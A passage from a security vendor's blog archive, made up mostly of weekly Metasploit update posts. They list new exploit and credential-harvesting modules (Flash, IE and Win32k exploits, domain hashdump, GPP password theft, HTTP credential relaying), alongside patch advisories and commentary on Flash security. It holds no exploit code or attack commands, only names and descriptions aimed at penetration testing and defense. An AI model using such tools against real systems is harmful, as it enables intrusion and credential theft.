that doing so would "break the Internet" for their constituents. It seems to me that Flash is lagging behind every major browser when it comes to security engineering, and because of this, the good security work going into stock browsers is getting undermined by Flash's always-on, always-default de facto status. Today, Flash is a favored vector for both online criminals and Pwn2Own competitors. Doesn't this all sound a little familiar? Two years ago, Java is was in exactly the same boat. The Internet user base was suffering through a seemingly endless series of critical Java bugs, IT shops felt like it was impossible to disable, and Oracle was not making significant headway against the onslaught of both legitimate and criminal security R&D forces targeting Java. While Java is still a lingering problem, browsers today have Java locked under a "click-to-play" procedure by default, where user interaction is required for any Java applet to run, and many, if not most, IT organization recommend or require disabling Java on the desktop completely. Can we do the same with Adobe Flash? According to cybercrime investigator Brian Krebs, it appears absolutely possible. After taking a vow of Flash celibacy for a month, Krebs found that Flash is not nearly as ubiquitous for multimedia content as it used to be, thanks to competing technologies like HTML5's suite of multimedia functions. Major video content sites like YouTube and Netflix generally do not require Flash at all. It is quite possible to default-disable Flash for most sites, enabling it for just one or two trusted sites where there is no alternative, and enable a similar click-to-play requirement for running that Flash content. Of course, this is all an arms race, and I have no doubt that in two years, we'll all be wringing our hands about the next seemingly ubiquitous Internet technology. But, we have an opportunity today to learn from our own recent history, and I hope we, as a security community, take it. New Modules This week brings us five new modules. First, we've two Flash exploits discussed above, a local privilege escalations exploit which was also used in a Flash-based targeted campaign (so says FireEye in their blog from April). Over in auxiliary and post land, there's a new pair of Windows info leak auxiliary modules. One is for remotely dumping memory via the HTTP.SYS vulnerability MS15-034, which is kind of a big deal. The other is a new domain-level hashdump post module that's super handy for quickly snarfing all domain credentials on a compromised domain controller. As usual, you can peek in on the changes this past week with this compare view on GitHub. Exploit modules Adobe Flash Player Drawing Fill Shader Memory Corruption by juan vazquez, Chris Evans, and Unknown exploits CVE-2015-3105 Adobe Flash Player ShaderJob Buffer Overflow by juan vazquez, Chris Evans, and Unknown exploits CVE-2015-3090 Windows ClientCopyImage Win32k Exploit by OJ Reeves, Spencer McIntyre, Unknown, and hfirefox exploits CVE-2015-1701 Auxiliary and post modules MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure by sinn3r and Rich Whitcroft exploits CVE-2015-1635 Windows Domain Controller Hashdump by theLightCosine

Weekly Metasploit Wrapup: Recog

Recog Scanning with MetasploitThis week, our own Jon Hart started in on souping up a couple auxiliary modules with Recog, Rapid7's free, open source platform recognition framework. Metasploit has lots of these version scanners -- 27, to be precise -- in the auxiliary module tree,…

Recog Scanning with MetasploitThis week, our own Jon Hart started in on souping up a couple auxiliary modules with Recog, Rapid7's free, open source platform recognition framework. Metasploit has lots of these version scanners -- 27, to be precise -- in the auxiliary module tree, and nearly all of them would be better off with some more normalized fingerprinting. The SMB scanner already uses it, and has been for a little while now, so it's high time the other scanners got with the program.Of course, this particular kind of omelet refactoring is going to require some broken eggs, which you can see on the currently in-progress pull request for the Recog mixin. While the pattern-matching signatures themselves are pretty rock-solid, the Recog framework itself is only about a year old with a dozen or so forks. It's safe to say that there will be lots of opportunity for tire-kicking and duct-taping during this rework effort in both Recog proper and how auxiliary modules ought to interact with it.So, that's where you come in! We here at Rapid7 like Recog a lot. We wrote it (well, mostly Jon and HD), and we and use it in a few projects and products, but it's really easy to code oneself in a corner when we're the only ones using it. Without public pickup, even open source projects can find themselves in a place where usage can get weird and documentation ends up being a non-public oral tradition.Since Recog so young, now is the time for you, dear open source contributor, to take a look and see where we're going with it. You're invited to read over the recent pull requests to see how you might want to start converting your favored Metasploit scanner to use Recog fingerprints, ask around on Freenode IRC or Twitter if you run into anything you don't understand, and document what tripped you up so the next volunteer doesn't get all frustrated. We're trying to keep our open source truly open and free, after all, so that's going to mean disclosing a few sausage-making details in the process.Finally, while using any currently or future Recog-enabled modules, if you encounter services Recog is unable to identify, we'd greatly appreciate hearing about it, especially in the form of a PR to add support for the service in question. See Recog's contributing documentation.Thanks, Jon, for leading the charge on this!New ModulesThis week brings a new exploit and a new auxiliary module, both for WordPress plugins, both from Roberto Soares Espreto, serial WordPress exploiter. We've been pretty heads-down on the Rails 4 integration work for Metasploit Pro and Metasploit Community Edition, so kind of a slow week this week in Exploit Land. We also held the UNITED Security Summit this week, so when you get a chance, check out Maria's write-up on that.As always, you're invited to check the compare view from the last blog post to get up to speed and investigate what strikes your fancy.Exploit moduleWordpress Front-end Editor File Upload by Roberto Soares Espreto and Sammy exploits OSVDB-83637Auxiliary moduleWordPress Simple Backup File Read Vulnerability by Mahdi.Hidden and Roberto Soares Espreto

Patch Tuesday - September 2014

It's a light round of Microsoft Patching this month.  Only four advisories, of which only one is critical.  The sole critical issue this month is the expected Internet Explorer roll up affecting all supported (and likely some unsupported) versions.  This IE roll…

It's a light round of Microsoft Patching this month.  Only four advisories, of which only one is critical.  The sole critical issue this month is the expected Internet Explorer roll up affecting all supported (and likely some unsupported) versions.  This IE roll up addresses 36 privately disclosed Remote Code Execution issues and 1 publically disclosed Information Disclosure issue which is under limited attack in the wild. This will be the top patching priority for this month. Of the three non-critical things this month, two are denial of service issues affecting Lync and Windows/.NET.  The other is an elevation of privilege issue affecting Windows 8/8.1 and Server 2012 & 2012 R2.  The Lync advisory also addresses an XSS which could disclose information of a connecting user. Nothing to ignore, but definitely secondary to the IE issue unless it turns out that some or all of these are under active exploitation. Adobe and Microsoft have released patches to address issues in Adobe Flash.  These issues are grouped by Adobe as APSB14-21, but actually include 12 CVEs which most are top priority patching issues for embedded flash in the browser.  These issues affect Chrome on Mac, Windows and Linux, Internet Explorer 10 and 11, and any browser using the Flash Desktop Runtime.  In effect this is almost everyone with a browser who has Flash support.  These are all high priority issues, though I'm inferring from the disclosure list that they are not active in the wild. It sure doesn't seem like an end is in sight for IE patches, does it?  I think in practical terms, this it not technically, an infinite supply of remote code execution vulnerabilities.  It has to trail off sometime, when most of the codebase has been overhauled, and all the use-after-free type issues have been addressed.  However, I don't know when that will be.  IE is a hugely complex codebase and is deeply integrated with Windows operating systems. Hopefully Microsoft will keep up the intensity they have shown in hunting down and fixing these issues.

Weekly Metasploit Update: More Meterpreters!

Meterpreter for All The PlatformsThis week is pretty exciting for us, since it's not every day we give out commit rights to the Rapid7 Metasploit repo. I'm very happy to report that Tim Wright has agreed to step up and help out with moving Meterpreter…

Meterpreter for All The PlatformsThis week is pretty exciting for us, since it's not every day we give out commit rights to the Rapid7 Metasploit repo. I'm very happy to report that Tim Wright has agreed to step up and help out with moving Meterpreter research and development forward, focusing mainly on the Java and Android implementations.Many Metasploit users are familiar with Meterpreter for Windows, since it's the default payload for Microsoft systems and effectively the reference implementation. In fact, Metasploit contributor OJ Reeves will be talking about Meterpreter internals on Friday at AusCERT2014, so if you're in the area or otherwise attending, you should certainly check it out.That said, many people also don't know that Meterpreter is more than just a Windows rootkit / backdoor / persistence agent for Windows.  It's a whole protocol and system for interacting with compromised machines, and has always been intended to be cross-platform. Today, we have versions written in POSIX, PHP, Python, and Java/Android. It's that last one that's been getting a lot of attention lately, primarily by community contributors mihi, Anwar, and of course the aforementioned Tim.There are tons and tons of cool new features and boring old bugfixes just waiting to be committed in the many Meterpreters (Meterpreti?), so if you have ideas, or better, a willingness to run through test cases and documentation, or best, code to contribute to make those features a reality, I strongly urge you to get in touch with OJ, Tim, or really anyone from Rapid7, all of whom tend to hang out on the #metasploit channel on Freenode IRC.New ModulesWe have two new exploits this week: yet another Flash reverse engineered from yet another 0day found circulating in the wild, and another Yokogawa CS3000 module. Both are thanks to Juan Vazquez.Exploit modulesAdobe Flash Player Shader Buffer Overflow by juan vazquez and Unknown exploits CVE-2014-0515Yokogawa CS3000 BKESimmgr.exe Buffer Overflow by juan vazquez and Redsadic exploits CVE-2014-0782If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes.

Weekly Metasploit Update: Disclosing Usernames, More Flash Bugs, and Wireshark Targets

Back from the UK!As I mentioned last blog post, I was off last week in London, where I finally got the chance to meet an overflow of far-flung Metasploit and security luminaries, including the folks from 44Con and MWR Labs. My bucket list just…

Back from the UK!As I mentioned last blog post, I was off last week in London, where I finally got the chance to meet an overflow of far-flung Metasploit and security luminaries, including the folks from 44Con and MWR Labs. My bucket list just got shorter. And yes, "overflow" is the correct collective noun for a gathering of security professionals and hackers.Sadly, this means I managed to completely miss last week's blog post, so this week will be a two-week wrap up. We had some neat stuff land while I was away, so lets get to it.OpenSSH Username DisclosureFirst off, this isn't the fake OpenSSH memory disclosure bug, but instead, something real and useful, and incidentally unpatched. William Vu worked with Metasploit open source contributor kenkeiras to implement an old school timing attack on OpenSSH servers, where differences in response time for login attempts can be used to suss out what usernames are valid on a given system. While this module feels like a 90s-era info disclosure, the surprising bit is that this information leak does not appear to have a patch or any reasonable workaround.As security professionals, we seem to be of two minds when it comes to username security. Passwords are obviously secret, and disclosing those is a Bad Thing, but we seem to be less sure about the confidentiality of usernames. On the one hand, they're significantly not passwords.  They're intended to be talked about, shared, and tied to particular people and services. On the other hand, determining valid usernames in the blind makes the job of a bruteforce attack about a million times easier.When determining if something like this is a "real" vulnerability, it seems to mostly come down to the intent of the software. With OpenSSH, there is an implicit guarantee that usernames should not be harvestable, just like DNS zone transfers and SMTP VRFY commands shouldn't spill these weak secrets. How big of a deal is it when that guarantee is violated? It all depends on how seriously you take username security. It sure feels insecure. If you feel like this is a bigger deal, or not a deal at all, you're invited to comment below."Flash: Aaaah!"I really hope you also hear that title in Freddie Mercury's voice. If not, then I'm kind of sad for you. You're really missing out, and you probably mistook the photo at right for a scene from one of the 300 movies.That said, we have another two modules for the seemingly endless parade of Flash bugs. Both were originally disclosed by that rascal of a security researcher, "Unknown," and implemented by our own Juan Vazquez, with some help from his shadowy network of contacts and informants in general and one Bannedit in particular.Take a moment at read up on the module and the references for the Flash Integer Underflow bug and the Flash Type Confusion issue, because you're going to need that background for next week's release, I'm sure. In case you haven't noticed, this spring is starting to feel a lot like last year's Javapocolypse. Maybe it's time to give Silverlight another chance? What could go wrong?The 2014 T-Shirt ComethAs of this moment, you have another week to get your T-shirt design in for the Second Annual Metasploit T-Shirt Design Contest. Right now the 99Designs page is claiming something like two hours to go, but never mind on that -- believe me, you have a week. So, forget all those findings reports and boring IT meeting you need to prepare for, and finish off your chest-mounted masterpeice. Feel free to include some kind of weird 80s sci-fi references, since that will obviously work for me.New ModulesFor the last two weeks, we've got ten new modules for your exploitation pleasure, including those discussed above. The Wireshark vulnerability is especially close to my heart, since approximately 99% of all people who are likely to get owned by an exploit in Wireshark are terribly, terribly interesting targets: security analysts, network engineers, and the like. These are people who tend to have cached credentials to lots of infrastructure.Exploit modulesAlienVault OSSIM SQL Injection and Remote Code Execution by Sasha Zivojinovic and xistence exploits OSVDB-106252Apache Struts ClassLoader Manipulation Remote Code Execution by Mark Thomas, Przemyslaw Celej, and Redsadic exploits CVE-2014-0112Mac OS X NFS Mount Privilege Escalation Exploit by joev and Kenzley AlphonseAdobe Flash Player Integer Underflow Remote Code Execution by juan vazquez and Unknown exploits CVE-2014-0497Adobe Flash Player Type Confusion Remote Code Execution by juan vazquez, Unknown, and bannedit exploits CVE-2013-5331Wireshark wiretap/mpeg.c Stack Buffer Overflow by Wesley Neelen and j0sm1 exploits CVE-2014-2299Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei) by Ben Campbell, Donato Capitella, Jon, and Nils exploits CVE-2013-1300Auxiliary and post modulesF5 BigIP Backend Cookie Disclosure by Thanat0sSSH Username Enumeration by kenkeiras exploits CVE-2006-5229Multiplatform WLAN Enumeration and Geolocation by Tom SellersIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes (also last week's).

IE 0-day, we got you covered

News broke this weekend of yet another IE 0-day under ("limited, targeted") exploitation in the wild.  Microsoft responded with an advisory, but no patches yet.  Given that the risk from the known exploit is mitigated by the usual defence in depth tactics I…

News broke this weekend of yet another IE 0-day under ("limited, targeted") exploitation in the wild.  Microsoft responded with an advisory, but no patches yet.  Given that the risk from the known exploit is mitigated by the usual defence in depth tactics I would not expect Microsoft to release an out of band patch, though a "fix it" type hotfix would be in keeping with Microsoft's recent tactics. The known exploit for this issue relies on Adobe Flash to be present and enabled.  Disabling or removing flash will block the known exploit, but does not address the root cause issue in Internet Explorer. To asses your exposure to this threat:Nexpose users can view affected systems in their environment from existing scan data using Dynamic Asset Groups. ControlsInsight users can examine which systems in their environment have the correct mitigations in place (including Flash disablement).Both products report Windows XP as an "Obsolete Version" (which is an automatic PCI failure).This 0-day is the first of what will inevitably be many issues to affect Windows XP in the post XP era.  Users still on XP have no choice but to upgrade in order to receive protection.  Of course, for Microsoft, Windows XP is already all but forgotten, in that, since it is no longer supported, it is not listed in the vulnerable systems. In a totally unscientific survey, looking at traffic to Rapid7.com, approximately 1% of our total web visitors identify as running Windows XP, but approximately 15% are running some version of IE.  We don't check for mitigations in place unless you ask us to.  Overall, this issue isn't all the different from any number of IE 0-days, we usually get three or four every year, except that it's the first in the post-XP world.  All the more reason for users to move to modern, supported, operating systems where advanced mitigation techniques are available.

Weekly Metasploit Update: Operation Snowman and LadyBoyle

Scary-Sounding Flash ExploitsThis week's update brings us two new exploits from Juan Vazquez, Boris dukeBarman Ryutin, Jean-Jamil Khalife, and a criminal conspiracy of superhackers. Yep, seriously.That last bit is why these exploits deserve a special mention. These modules implement the attacks wrought by "Operation…

Scary-Sounding Flash ExploitsThis week's update brings us two new exploits from Juan Vazquez, Boris dukeBarman Ryutin, Jean-Jamil Khalife, and a criminal conspiracy of superhackers. Yep, seriously.That last bit is why these exploits deserve a special mention. These modules implement the attacks wrought by "Operation Snowman," and "LadyBoyle," two of the cooler-sounding names I've heard in a while. They allow for penetration testers to tell a story of True Crime, Ripped from the Headlines, Real True Story style. As we saw last week, vulnerabilities with human-memorable names and some effort made at marketing makes for great attention-grabbers. It's no different for exploits. While hands-on security folks talk about "MS08-067 NetAPI" a lot, it's really not all that attention-grabbing for someone who's only partly dialed in to security. Heck, hardly anyone remembers MS03-026, but lots of people remember "The Blaster worm."In fact, I'd say that their spycraft-sounding names can only help you in your mission to convince management folks that the threats facing their organizations aren't "merely theoretical" (hat-tip to the l0pht), or some boring old list of CVE numbers. The fact is, the techniques used by these exploits started public life "in the wild" as "zero-day exploits." Dang, that sounds scary. Better ensure your Flash is up to date!Re-engineering exploits like this is kind of the bread and butter of Metasploit, to be honest. Locally discovered vulnerabilities are great and all. Everyone loves them. But, while it might be a little less sexy in InfoSec, replicating known, proven criminal behavior in the form of a safe and reliable Metasploit module can really help move a security program along, with at least as much urgency as the not-yet-patched or recently-patched vulnerability.Metasploit UK MeetupIn other news, I'm going to be in London, UK, next week.  I'll be in town partly for Infosecurity Europe 2014, partly for Security BSides London, and partly for a secret mission I cannot disclose at this time. So, if you're a Metasploit contributor who happens to be in town (or lives there) for these events, we should organize something. My twitters will work for meetups. If nothing else, you can make fun of my provincial beer tastes and the way I just spelt "organise."In any case, it'll be a fun time. Rapid7 will have a stand at InfosecEU, which I will be close to for much of my time in England. If you're a contributor or user of Metasploit, please swing by and say hi!New ModulesWe have four whole new modules this week, half of which are the Flash exploits from Juan's band of thieves. We were a little busy last week with some particular bug on the Internet that I promised I wouldn't mention by name again in this blog post, at least until next week.Exploit modulesAdobe Flash Player Regular Expression Heap Overflow by juan vazquez, Boris "dukeBarman" Ryutin, and Unknown exploits CVE-2013-0634MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free by juan vazquez, Jean-Jamil Khalife, and Unknown exploits CVE-2014-0322Auxiliary and post modulesOracle Demantra Database Credentials Leak by Oliver Gruskovnjak exploits CVE-2013-5880Windows Manage Change Password by Ben CampbellIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes.

Federal Friday - 2.28.14 - Flash Zero Day Targets Foreign Policy Sites

Federal Friday has come again, which means another week has passed us by. It's been a busy week for the Moose of Rapid7 with an imminent move for our Boston HQ for on the horizon. We also had a great week at RSA with SC…

Federal Friday has come again, which means another week has passed us by. It's been a busy week for the Moose of Rapid7 with an imminent move for our Boston HQ for on the horizon. We also had a great week at RSA with SC Magazine naming Nexpose the Best Vulerability Management Solution!The threat landscape has had a wild few days with a major security flaw for Apple desktops and iOS devices as well as another IE zero day being discovered. In addition, a detailed report from FireEye pointed out a zero day vulnerability in Flash (CVE-2014-0502). This particular vuln targeted 3 non-profit institutions; as visitors went to their sites they were redirected to a server hosting the zero day exploit. According to the post by FireEye this is a targeted attack on a specific sector intended to gain additional user data as well as any information regarding public-policy and defense. This nasty exploit targets computers with the following OS' and configurations:Windows XPWindows 7 and Java 1.6Windows 7 and out-of-date versions of MS Office 2007 or 2010Not to be outdone US-CERT released put out an Alert about Phishing campaigns that will be popping up and on-going through the tax season. It's bad enough that doing your taxes can be stressful, especially if you know you're going to have to write a check to Uncle Sam, but now you need to watch out for these targeted campaigns. Keep in mind, while they cast a wide net, these campaigns will have the look and feel of an email coming from the IRS. To help you protect yourself US-CERT listed the below steps:Do not follow links in unsolicited email messages.Visit the IRS page for instructions on how to report suspected tax season phishing messages.Keep antivirus software up to date.Refer to US-CERT's Security Tips on Recognizing and Avoiding Email Scams and Avoiding Social Engineering and Phishing Attacks for additional techniques and recommendations.Less than 30 days until the boys of summer are back (I'm going to get some heat around here for this)...

Adobe joins the January patching fun!

Adobe has released two advisories today (APSB13-01 & APSB13-02) for Flash and Acrobat/Reader and updated their recent advisory for ColdFusion.The Flash patch applies to all versions including Windows, Linux, Mac, Android, embedded in Chrome & IE 10, and AIR.  This is a…

Adobe has released two advisories today (APSB13-01 & APSB13-02) for Flash and Acrobat/Reader and updated their recent advisory for ColdFusion.The Flash patch applies to all versions including Windows, Linux, Mac, Android, embedded in Chrome & IE 10, and AIR.  This is a serious bug, since Adobe is admitting that it is a buffer overflow which could be exploited by a malicious or compromised server to gain remote control of the system.  Adobe has identified at least the Windows version of this vulnerability as being exploited in the wild.The Acrobat/Reader patch addresses a whopping 26 different vulnerabilities for all supported versions on Windows, Linux, and Mac.  Given the popularity of Adobe exploits and the large attack surface that is being revealed with this patch, it his highly advisable that administrators (and users) apply thisfla patch immediately.  Again, Adobe has identified the Windows 9.5 version of this patch as being actively exploited in the wild and that all other versions will likely see exploits within 30 days.Adobe has not yet offered a patch for the ColdFusion issue, which is also being actively exploited; however, the weakness can be mitigated by configuring a password and restricting access to administration URLs.Happy patching.-Ross

Weekly Metasploit Update: New Flash Exploit, HTTP Client Trickery, and More!

After the last couple bumper crops of exploits, having merely six new modules this week is kind of a relief, at least from an editing standpoint. Of course, one of them is for a fresh Adobe Flash exploit, so let's jump into that.Flash Malware…

After the last couple bumper crops of exploits, having merely six new modules this week is kind of a relief, at least from an editing standpoint. Of course, one of them is for a fresh Adobe Flash exploit, so let's jump into that.Flash Malware ModuleThis week's update features an exploit for Adobe Flash, which Metasploit exploit developers Wei "sinn3r" Chen and Juan Vazquez wrote about last week. Since that blog post, there's been a few updates to add in more valid targets -- the current version should successfully exploit unpatched systems running Internet Explorer 6, 7, 8, and 9, tested across Windows XP SP3, Vista SP2, and Windows 7 SP1.This variety of targets Metasploit provides is one reason why the work sinn3r and Juan do in porting live malware to Metasploit modules is so critical. Let's say you're running an IT department and you don't have complete control over the desktops in your network -- which is of course pretty much every network, not running hyper-secure NAC. Since you can't patch everyone, you might rely on anti-virus (AV), intrusion protection (IPS), or application proxies to protect your constituents from getting nailed by the original exploit. However, it's difficult to know if these defenses are any good at all against variants -- in other words, you generally can't know if your AV/IPS/Proxy is merely "covering the exploit," or if they're "covering the vulnerability." With the Metapsloit exploit and its varied targets, you can test your own defensive gear pretty rapidly.Incidentally, not everyone can scoop up samples of current malware, and nor is it advisable to go monkeying around with known-evil code without doing a lot of prep work first. In that vein, using Metasploit exploits as a proxy for the bad guys turns out to be way more convenient, not to mention about a million times safer. Go offensive security!HTTP Client TrickerySpeaking of testing your own environment, this update also has a couple new auxiliary modules that can facilitate testing your users on their password management skills. The first, HTTP Client Basic Authentication Credential Collector by community contributor "saint patrick," is a pretty straight forward credential collector -- it simulates a web server that asks for a username and password. You'd be surprised at how often people will just start typing in a username/password combination when given the opportunity. Of course, if you're a cynical IT security hack, you won't be surprised at all.The other is an HTTP Client MS Credential Relayer by community contributor Rich Lundeen. This attack is a little more involved: after picking up a set of credentials over HTTP, this module gives you the capability to turn around and immediately replay them against either another HTTP server or an SMB server. This attack isn't new, but bringing this implementation to Metasploit in a modular way is great news.Thanks to both of you guys for your unconnected-but-related work this week!Extending JBOSS TargetsFinally, this week sees the culmination of a bunch of work from community contributor h0ng10 in improving Metasploit's support for targeting JBoss application servers. You can read the storied details and testing that happened along the way on on Pull Request #663 , but the end result is, we now have Meterpreter payload support for all three of our current JBoss exploits. That's pretty sweet, so thanks for your work on this, h0ng10!New ModulesHere are the new modules -- for details and usage, follow the links to our Exploit Database. Auxiliary modules HTTP Client Basic Authentication Credential Collector by saint patrickHTTP Client MS Credential Relayer by Rich Lundeen Exploit modules E-Mail Security Virtual Appliance learn-msg.cgi Command Injection by juan vazquez and iJoo exploits an unreported vulnerabilityXODA 0.4.5 Arbitrary PHP File Upload Vulnerability by juan vazquez and Shai rod exploits an unreported vulnerabilityAdobe Flash Player 11.3 Font Parsing Code Execution by sinn3r, juan vazquez, and Alexander Gavrun exploits CVE-2012-1535Sysax Multi Server 5.64 Create Folder Buffer Overflow by Craig Freyman and Matt "hostess" Andreko exploits OSVDB-82329AvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see the most excellent release notes.

Weekly Metasploit Update: Meterpreter, GPP, and More!

We've been cooking along here in Stately Metasploit Manor, mostly heads-down prepping for BlackHat/Defcon season. (Yes, it's that time of year already). In the meantime, we've a grab bag of mostly post modules, a drive-by update to Meterpreter, and Juan's and sinn3r's most excellent…

We've been cooking along here in Stately Metasploit Manor, mostly heads-down prepping for BlackHat/Defcon season. (Yes, it's that time of year already). In the meantime, we've a grab bag of mostly post modules, a drive-by update to Meterpreter, and Juan's and sinn3r's most excellent new Flash module.Meterpreter for Visual Studio 2010Meterpreter is the default payload that many of our Windows exploits drop on the target server, and allows for things like unified shell access, file access, etc. If you hack on Meterpreter, you may have noticed with some annoyance that some parts required VC10, while others were only compatible with Visual Studio 2008. This last week, HD Moore took a pass through the Meterpreter source code and upgraded everything required to get Meterpreter compiling on Visual Studio 10. Thanks HD!Collaboration on modulesAlso this week, contributors Ben Campbell, and Loic Jaquement and David Maloney all independently submitted modules for stealing credentials out of the Windows Group Policy Preference (GPP) XML datastores. This was an unusual circumstance -- most of the time, modules come in with one author, get a little work from sinn3r or me or somebody, and then either get rejected out or land in the main Metasploit branch.In this case, Loic was first with a Meterpreter script that later became a post module. David later submitted a similar module, and finally, Ben came on board with a third. Eventually, we managed to get everyone together on the one module, but I think that if you look at the pull request comment threads, it was a pretty painful process.Looking over the sordid history of this module, it now looks like that someone should have just set up a new public GitHub project for this module. That someone was almost certainly me, so sorry for not jumping on this much sooner. If a side repo was set up and everyone had commit rights to that to collaborate, that almost certainly would have produced better code, faster. That will definitely be the strategy for next time.Better communication along the way could have helped as well. GitHub issues aren't the greatest way to have a long conversations (outside of code critique). For this, a mailing list would have been more appropriate -- and as it happens, I have this lovely metasploit-hackers mailing list right over there on SourceForge. It's set up specifically for Metasploit development chatter, commit commenting, and other security dev nerd talk. It's not intended for regular user Q&A -- for that, stick to the Security Street community here. But, for an archived forum for dev talk, module writers might want to subscribe to metapsloit-hackers to keep abreast of what's new and current in Metasploit dev-land.Flash, RMTP, and YouFinally, this week features Juan Vazquez and Wei "sinn3r" Chen's Flash module, complete with a barebones RTMP server. I won't rehash the ripping yarn of that development process here, but will leave it to Juan's blog post from earlier this week.New ModulesFinally, here's the list of this week's new modules in our Exploit Database. Thanks to all of our open source contributors for their work on these, especially Loic and Ben for sticking it out for the GPP module.MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass by sinn3r and Soroush Dalili exploits MS10-065SugarCRM unserialize() PHP Code Execution by sinn3r, juan vazquez, and EgiX exploits CVE-2012-0694Adobe Flash Player Object Type Confusion by sinn3r and juan vazquez exploits CVE-2012-0779Adobe Flash Player AVM Verification Logic Array Indexing Code Execution by mr_me and Unknown exploits CVE-2011-2110Apple iTunes 10 Extended M3U Stack Buffer Overflow by sinn3r and Rh0 exploits OSVDB-83220Windows Gather Group Policy Preference Saved Passwords by Ben Campbell, Loic Jaquemet, Rob Fuller, TheLightCosine, and scriptmonkeyWindows Gather TortoiseSVN Saved Password Extraction by Justin CacakWindows Gather Generic File Collection by 3vi1john and RageLtManAvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see the most excellent release notes.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now